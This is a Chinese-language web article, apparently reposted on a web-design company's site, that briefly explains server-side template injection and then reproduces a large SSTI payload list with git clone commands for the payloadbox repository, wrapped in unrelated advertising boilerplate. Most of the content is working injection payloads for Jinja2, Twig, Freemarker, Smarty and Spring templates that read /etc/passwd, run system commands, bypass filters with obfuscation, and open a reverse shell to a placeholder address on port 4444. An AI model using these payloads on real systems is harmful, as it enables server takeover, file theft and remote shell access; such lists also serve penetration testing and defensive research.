小編給大家分享一下SSTI-Payloads的示例分析,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!
為富川等地區(qū)用戶提供了全套網(wǎng)頁設(shè)計(jì)制作服務(wù),及富川網(wǎng)站建設(shè)行業(yè)解決方案。主營業(yè)務(wù)為成都網(wǎng)站設(shè)計(jì)、成都網(wǎng)站建設(shè)、富川網(wǎng)站設(shè)計(jì),以傳統(tǒng)方式定制建設(shè)網(wǎng)站,并提供域名空間備案等一條龍服務(wù),秉承以專業(yè)、用心的態(tài)度為用戶提供真誠的服務(wù)。我們深信只要達(dá)到每一位用戶的要求,就會得到認(rèn)可,從而選擇與我們長期合作。這樣,我們也可以走得更遠(yuǎn)!
所謂服務(wù)器端模板注入技術(shù),指的是攻擊者能夠使用本機(jī)模板語法將Payload注入到一個(gè)模板之中,然后再在服務(wù)器端執(zhí)行。服務(wù)器模板注入 (SSTI ) 是一種利用公共 Web 框架的服務(wù)器端模板作為攻擊媒介的攻擊方式,該攻擊利用了嵌入模板的用戶輸入方式的弱點(diǎn),除此之外SSTI 攻擊還可以用來找出 Web 應(yīng)用程序的內(nèi)容結(jié)構(gòu)。
根據(jù)技術(shù)設(shè)計(jì)實(shí)現(xiàn),模板引擎能夠結(jié)合固定模板和動態(tài)數(shù)據(jù)來生成特定的網(wǎng)頁。如果用戶的輸入數(shù)據(jù)直接與模板內(nèi)容相連接,而不是作為數(shù)據(jù)參數(shù)直接傳入的話,就有可能發(fā)生服務(wù)器端模板注入攻擊了。此時(shí),攻擊者將能夠通過注入任意模板指令來對模板引擎進(jìn)行惡意操作,一般來說,這將導(dǎo)致攻擊者獲取到目標(biāo)網(wǎng)絡(luò)服務(wù)器的完整控制權(quán)。也就是說,服務(wù)器端模板注入Payload需要在目標(biāo)服務(wù)器上進(jìn)行部署和使用,這將使它們比一般的客戶端模板注入漏洞更加嚴(yán)重。
服務(wù)器端模板注入漏洞會使網(wǎng)站面臨各種攻擊和安全風(fēng)險(xiǎn),具體取決于所討論的模板引擎以及應(yīng)用程序如何使用它。在某些罕見的情況下,這些漏洞不會帶來真正的安全風(fēng)險(xiǎn)。然而,大多數(shù)情況下,服務(wù)器端模板注入的影響可能是災(zāi)難性的。
如果在某些嚴(yán)重情況下,攻擊者可以在目標(biāo)服務(wù)器上實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行,完全控制后端服務(wù)器,并使用它來對網(wǎng)絡(luò)內(nèi)部基礎(chǔ)結(jié)構(gòu)執(zhí)行下一步攻擊。
即使在不可能完全執(zhí)行遠(yuǎn)程代碼的情況下,攻擊者通常仍可以使用服務(wù)器端模板注入作為許多其他攻擊的跳板,從而可能獲得對服務(wù)器上敏感數(shù)據(jù)和任意文件的讀取訪問權(quán)限。
{{2*2}}[[3*3]] {{3*3}} {{3*'3'}} <%= 3 * 3 %> ${6*6} ${{3*3}} @(6+5) #{3*3} #{ 3 * 3 } {{dump(app)}} {{app.request.server.all|join(',')}} {{config.items()}} {{ [].class.base.subclasses() }} {{''.class.mro()[1].subclasses()}} {{ ''.__class__.__mro__[2].__subclasses__() }} {% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %} {{'a'.toUpperCase()}} {{ request }} {{self}} <%= File.open('/etc/passwd').read %> <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} {{app.request.query.filter(0,0,1024,{'options':'system'})}} {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }} {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} {$smarty.version} {php}echo `id`;{/php} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}} {{request|attr(["_"*2,"class","_"*2]|join)}} {{request|attr(["__","class","__"]|join)}} {{request|attr("__class__")}} {{request.__class__}} {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ${T(java.lang.System).getenv()} ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
廣大研究人員可以使用下列命令將現(xiàn)有Payload集克隆至本地(HTTPS):
root@ismailtasdelen:~# git clone https://github.com/payloadbox/ssti-payloads.git
廣大研究人員可以使用下列命令將現(xiàn)有Payload集克隆至本地(SSH):
root@ismailtasdelen:~# git clone git@github.com:payloadbox/ssti-payloads.git
以上是“SSTI-Payloads的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道!
分享題目:SSTI-Payloads的示例分析
分享路徑:http://aaarwkj.com/article14/pjchge.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供企業(yè)網(wǎng)站制作、品牌網(wǎng)站制作、手機(jī)網(wǎng)站建設(shè)、網(wǎng)站內(nèi)鏈、動態(tài)網(wǎng)站、軟件開發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來源: 創(chuàng)新互聯(lián)